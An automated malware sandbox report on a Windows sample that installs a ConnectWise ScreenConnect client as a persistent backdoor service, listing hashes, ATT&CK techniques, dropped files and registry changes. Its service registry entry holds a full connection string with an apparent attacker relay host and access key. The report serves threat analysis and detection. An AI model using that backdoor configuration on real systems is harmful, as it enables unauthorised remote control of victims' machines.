5b009338bbc599aee116c659b13e00733db5fecf4e3de108144835fe56a8c6e6

Analysis

max time kernel
148s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
18/08/2026, 10:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-18_70b5f84857d36cccc6c3c9e74df245f2_amadey_elex_glassworm_icedid_luca-stealer_manuscrypt_njr.exe
Size 4.0MB
Sample260818-l5ezsshk6s
SHA256 5b009338bbc599aee116c659b13e00733db5fecf4e3de108144835fe56a8c6e6
MD5 70b5f84857d36cccc6c3c9e74df245f2
SHA1 c0449d3e9f4867a4afb386cac38b6b3ff4d16745
SHA512 8503505bb317ed50830e79200472512ae66452f5d2d026bcac5e5ef79e52aa182cfc19122c05935d8caf23404b0a2aff5454874431f467e620093efa03d35fec
SSDEEP 49152:Nn+95rni963PSumT0+TFiH7efPNwwlVj1wqU9nChUponnI9EYVKXGH/s7EC1g5nL:N466+6efPzclnC0VXOGk7J2L
TLSH
T1D516D011B3D58176D0BF0638D8B956679B74BC099362CBAF53D4BD693D32B808E22372
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

backdoor discovery persistence ransomware rat

Malware Config

Signatures

Detects encrypted or obfuscated .NET executables 1 IoCs

resource	yara_rule
behavioral2/files/0x001200000001c54b-139.dat	INDICATOR_EXE_DotNET_Encrypted

Sets service image path in registry 3 TTPs 1 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ScreenConnect Client (bc89eadcafe25c71)\ImagePath = "\"C:\\Program Files (x86)\\ScreenConnect Client (bc89eadcafe25c71)\\ScreenConnect.ClientService.exe\" \"?e=Access&y=Guest&h=help.vlp.com&p=8041&s=bee95845-4dc3-4391-ae61-9b85138efda3&k=BgIAAACkAABSU0ExAAgAAAEAAQDXn29Mo%2b1rtwSjC%2fBkYs2MztiUcfXL%2f4BRdazLIs4kkLVHfAtqP937D3FDkGLL%2ftIFywgPalgM3wcJqZIhSwVsjCryEHaawgg8CaAT80FndMa8WFCA8vudMZuTBOMy7U5CBMHG4CLxPD1Tc%2fRg8GnjIAAaeG6CjHjmM335bUVn72%2fETK%2bfIMIxUXROfUibNYVMS9l1%2bqn6U7q7xDASlL7j1T0yWttPTi%2bz6w1KCz41po2P%2bKKNmPluILbrKWZ85Fd3G9DzxEWCmKugr0kuWp5rcgcNNgM2WtpJ7z4TWJn5SDm7mZEKt5%2bP0p2gkjFJ6Yr%2b1e7c8gkWfR%2fbvpIgFADL&v=AQAAANCMnd8BFdERjHoAwE%2fCl%2bsBAAAA4O4IPxdU40uDpTN9IoU3xQAAAAACAAAAAAAQZgAAAAEAACAAAABuP6Ka8wMpT1U1JwPoP7wz2950rSu8lvB8g%2f1jv7l%2f8wAAAAAOgAAAAAIAACAAAADQoha7RnRzMNcmz%2fOICF5oLkXBj2A1ptuMplmvBXdUIqAEAAC86J%2bNx0YqoMxSjzL2M6NBIsiqY8MRl2Yx5wTTTA%2fRiBybOHmCdvWKNQPZ8etmY1MjANcBFsZ9lcCG0D27734n8Gp6pw2ON8CxdGlC45nAi%2frez9NFLXIx42yxUz7oxdDUb3Tm2hi4dvY%2bsdgKXhFfcFSb5gtqRuevgYZ8Y%2bFEVAtsC9HosUUuzLxoNm5xI1jCeEhJ12KvqAHItk8zH%2fO7r9w%2fkze%2fABTOq9hWBn%2bZDqFnJay6WooSRGWmQuSrZs8WhtAivWIMTEZ3aflRuD8VMkPqeUAk0cg6boAGu6fV%2b3ojfAvAnqboSc6dyYLQji%2fs7pOxWo%2bPHo%2bLLIwPmtp3w7L6CxFz4kdryBWzGLfGVq1pKIHvZUG9J68Wqe8FUkvNe4vnJHbmalBdSQR0ZxrBzYKJqD873a2dBMKMsgOKfgo4Z%2bND56lJPjzzi%2f22xXkmGkJ4ifT9pH8BAJpCwPoA5hNFLjx5uqOIzS6af5yM3NomRjfo0b4aqmqLlPZbGVr%2bc0xmm4Uc377QKYhZT8RDTBVvxC1M9sba6MLw2WCTa%2ft%2b%2fE7gw41WV4hTJitBasHMNgmgUdMz7AgI9O0dtdtelrtTPX9QDGjaPWWQzIdt9OCG3ZDxi1u7x383iQbFIJu86o5Ol65bCmXS3YTD8sfIW%2b46Uqji46uosbZZ12AWGU5VF7GfRyLrk11T52jYADWDvrMN1mUHE5Wvf%2fcuUO%2fidCyRF9VQmsyDWLEPTNg9vIVpqn8mAuI%2flCzOvFx2qokbLAag0t5scD7gzz1jpyOEUHaGiYFipRptltPERpc0jERr7qBzZFKCJyclyFp418oZJPQM45FePh4AV4oIhwLH1cDXIYvQp%2fRsMAmsJ7dJ3eLBWxCu5ohEQlShlvRTpl6YNew1OceYUVxezclr831cz8qcIsHhHwmFd0KmQs3VGBAwtP6j%2fKCQYMqrPIA2Tudm64iPepYpGIBmC1Nb%2bbBQHJbMh5aFfXNf%2fo4xnZ4bjor0gxTg50AjnkN2cBvUrtRIAiQPs74X1N38XPPDBtqJs4DXHO%2bPOjdVC%2fsjBUDtN51t5EGKTqfnkfhTJNTdMuilX6BSCH4dFWr0VxIudKUZ3x59nV63s%2brTqdC9tRgJsm5LJ%2btM%2fpBSEHZ9i7Jq2LRt5QOny%2btgtuYBnAsVKVhbPnfhRxBoJsqLwgl0Jlx5DeHS7B%2fdd7IplwxqNN4LBS%2bXQH7J73F%2bPuR8zXSnBtaWBjWt7yJmj80UDRjIjy0UyQSyp9qPtcoklANiNRmzv6T8DJNDYocr5TStNNTP3z9fFvYUOw9IMzeh3HgKwyJgofdmGYWjuTbHRz8i%2fpO0TBhxd4z9R4BraNqnP%2fV0NpPTdyurvfRPhsi3eNHCLqDMC9hGJc29krGNzAw%2bHn5egpZEyvO0gY%2fMSLFmxxcUGWl8pErtpaGsjNPy5HDxC4YPxf90u2OcVL0VoFsQvnqtI1H5mmrHuP2i5BQI5GxrEiypnV85OxTHajAymqJXTIjtWFanvYf6s09HjKqK6h1b3HFAK7B3AuXrcdpDFl1WKzaET6CPvwmYOVFkqHcJJnRQIUAAAAAtMS6ZQqWKD7zid7jcVVHznRc%2fUiQz5mTAjofA7HJiMiW%2bZl%2bVbZedNWzw%2b45FK3wlrMnjNIhHQpKXR5uBhxZP&t=Room%206%20Anes&c=Flushing%20GI&c=Flushing%20GI&c=Doctor&c=Desktop&c=&c=&c=&c=\""	ScreenConnect.ClientService.exe

ConnectWise ScreenConnect remote access tool
ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.
backdoor rat

Executes dropped EXE 7 IoCs

pid	Process
4608	ScreenConnect.ClientService.exe
5780	ScreenConnect.WindowsClient.exe
6132	ScreenConnect.WindowsClient.exe
3380	ScreenConnect.ClientSetup.exe
3256	ScreenConnect.ClientService.exe
1208	ScreenConnect.WindowsClient.exe
2232	ScreenConnect.WindowsClient.exe

Loads dropped DLL 48 IoCs

pid	Process
5484	MsiExec.exe
5628	rundll32.exe
5628	rundll32.exe
5628	rundll32.exe
5628	rundll32.exe
5628	rundll32.exe
5628	rundll32.exe
5628	rundll32.exe
4508	MsiExec.exe
4508	MsiExec.exe
4508	MsiExec.exe
3500	MsiExec.exe
3500	MsiExec.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
4608	ScreenConnect.ClientService.exe
5716	MsiExec.exe
5996	rundll32.exe
5996	rundll32.exe
5996	rundll32.exe
5996	rundll32.exe
5996	rundll32.exe
5996	rundll32.exe
5996	rundll32.exe
5996	rundll32.exe
5996	rundll32.exe
5716	MsiExec.exe
5716	MsiExec.exe
5716	MsiExec.exe
3256	ScreenConnect.ClientService.exe
3256	ScreenConnect.ClientService.exe
3256	ScreenConnect.ClientService.exe
3256	ScreenConnect.ClientService.exe
3256	ScreenConnect.ClientService.exe
3256	ScreenConnect.ClientService.exe
3256	ScreenConnect.ClientService.exe
3256	ScreenConnect.ClientService.exe
3256	ScreenConnect.ClientService.exe
3256	ScreenConnect.ClientService.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\D:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bc89eadcafe25c71)\zvoe2pne.tmp	ScreenConnect.ClientService.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (bc89eadcafe25c71)\zvoe2pne.newcfg	ScreenConnect.ClientService.exe

Drops file in Program Files directory 30 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.Client.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.ClientService.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.Windows.dll	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\system.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.WindowsBackstageShell.exe.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.ClientService.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.Windows.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\Client.en-US.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\Client.Override.en-US.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.WindowsFileManager.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\app.config	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\Client.resources	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.Client.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.WindowsFileManager.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.Core.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.WindowsClient.exe.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\app.config	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\Client.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.WindowsClient.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.ClientService.exe	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\Client.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\Client.Override.en-US.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\Client.Override.resources	msiexec.exe
File created	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.WindowsBackstageShell.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.WindowsClient.exe	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\ScreenConnect.Core.dll	msiexec.exe
File opened for modification	C:\Program Files (x86)\ScreenConnect Client (bc89eadcafe25c71)\system.config	msiexec.exe

Drops file in Windows directory 61 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\ScreenConnect\22.1.6877.8083\ScreenConnect.ClientSetup.exe	ScreenConnect.ClientService.exe
File opened for modification	C:\Windows\Installer\MSI4B2A.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll	rundll32.exe
File created	C:\Windows\Installer\SourceHash{400F4D02-59D6-44D2-A0A9-01207781A07B}	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB1841886285DF366.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B2A.tmp-\ScreenConnect.Core.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DF3CF852230C8596F7.TMP	msiexec.exe
File created	C:\Windows\Installer\e59dc8b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE1CB.tmp	msiexec.exe
File created	C:\Windows\Installer\e59dc8e.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF6D2CC738E6DCDD96.TMP	msiexec.exe
File created	C:\Windows\Installer\e59dca2.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DFC84BFF583B998A2E.TMP	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE440.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e59dc8e.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI585C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI58AB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{400F4D02-59D6-44D2-A0A9-01207781A07B}\DefaultIcon	msiexec.exe
File created	C:\Windows\Installer\SourceHash{AFECDED1-D7D1-4890-B27A-1E627F092103}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE1DB.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B2A.tmp-\Microsoft.Deployment.WindowsInstaller.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DFD4CC24ED9040BDD8.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF9A0F58D0A87DFAE3.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B2A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B2A.tmp-\ScreenConnect.Windows.dll	rundll32.exe
File created	C:\Windows\Installer\{400F4D02-59D6-44D2-A0A9-01207781A07B}\DefaultIcon	msiexec.exe
File created	C:\Windows\SystemTemp\~DFEB4562B21453FC13.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF92A96CF394AF49D5.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE32C6260A714CBA7.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB2E20346662DC6BC.TMP	msiexec.exe
File created	C:\Windows\Installer\{AFECDED1-D7D1-4890-B27A-1E627F092103}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B2A.tmp-\CustomAction.config	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI5996.tmp	msiexec.exe
File created	C:\Windows\Installer\wix{400F4D02-59D6-44D2-A0A9-01207781A07B}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\SystemTemp\~DFA467341DB5E7AC46.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF8CC1BD49805BBA48.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE4DD.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIE298.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DFE29C949603EF19C0.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\ScreenConnect\25.9.5.9483\bc89eadcafe25c71\ScreenConnect.ClientSetup.msi	ScreenConnect.ClientSetup.exe
File opened for modification	C:\Windows\Installer\MSI4B2A.tmp-\Microsoft.Deployment.Compression.dll	rundll32.exe
File created	C:\Windows\SystemTemp\~DF507DF9C1DAA0F590.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\e59dc8b.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\{AFECDED1-D7D1-4890-B27A-1E627F092103}\DefaultIcon	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B2A.tmp-\Microsoft.Deployment.Compression.Cab.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSI5712.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5329946CA7115CC4.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFC89A70BBA3CD317C.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\SystemTemp\~DFBD950C54D8565650.TMP	msiexec.exe
File created	C:\Windows\Installer\wix{AFECDED1-D7D1-4890-B27A-1E627F092103}.SchedServiceConfig.rmi	MsiExec.exe
File created	C:\Windows\Installer\e59dc8d.msi	msiexec.exe
File created	C:\Windows\SystemTemp\~DF2620C4167A2B2594.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFB85171EF6F67887A.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DF6A2F77CDC066D2CE.TMP	msiexec.exe
File created	C:\Windows\SystemTemp\~DFCF47EFCD50F0E575.TMP	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI4B2A.tmp-\ScreenConnect.InstallerActions.dll	rundll32.exe
File opened for modification	C:\Windows\Installer\MSIE2F7.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI56F2.tmp	msiexec.exe
File created	C:\Windows\SystemTemp\~DF5941F9950D48ACE8.TMP	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-18_70b5f84857d36cccc6c3c9e74df245f2_amadey_elex_glassworm_icedid_luca-stealer_manuscrypt_njr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientService.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ScreenConnect.ClientSetup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000ad3b1fc6af0fc0350000000000000000000000000000000000000000000000000000000000000000000000000000000000001071020000000000c0120000000000000000000000002701010000883801ad3b1fc60000000000001071020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d0830200000000006025c501000000000000000000000700010000e84101ad3b1fc6000000000000d08302000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9c701000000000000050000000000000000000000070001000098d4e3ad3b1fc600000000000030a9c7010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030a9cc0100000000000005000000000000000000000007000100009854e6ad3b1fc600000000000030a9cc01000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ScreenConnect.WindowsClient.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ScreenConnect.WindowsClient.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\RegProcsHash = 08c374bf6bcd8d0010844e42302c412e2955089ec6dc93dcdfb110e6c5ccf61e	msiexec.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Sequence = "1"	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\Sequence = "3"	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	ScreenConnect.ClientService.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	ScreenConnect.ClientSetup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\Sequence = "1"	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0001\Sequence = "2"	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.WindowsClient.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	msiexec.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\RestartManager\Session0000\SessionHash = a6b1c94b59b01866c83c14456cee33330bbea3ab8e76ff3ba54fa663b7f0bfde	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	ScreenConnect.ClientService.exe
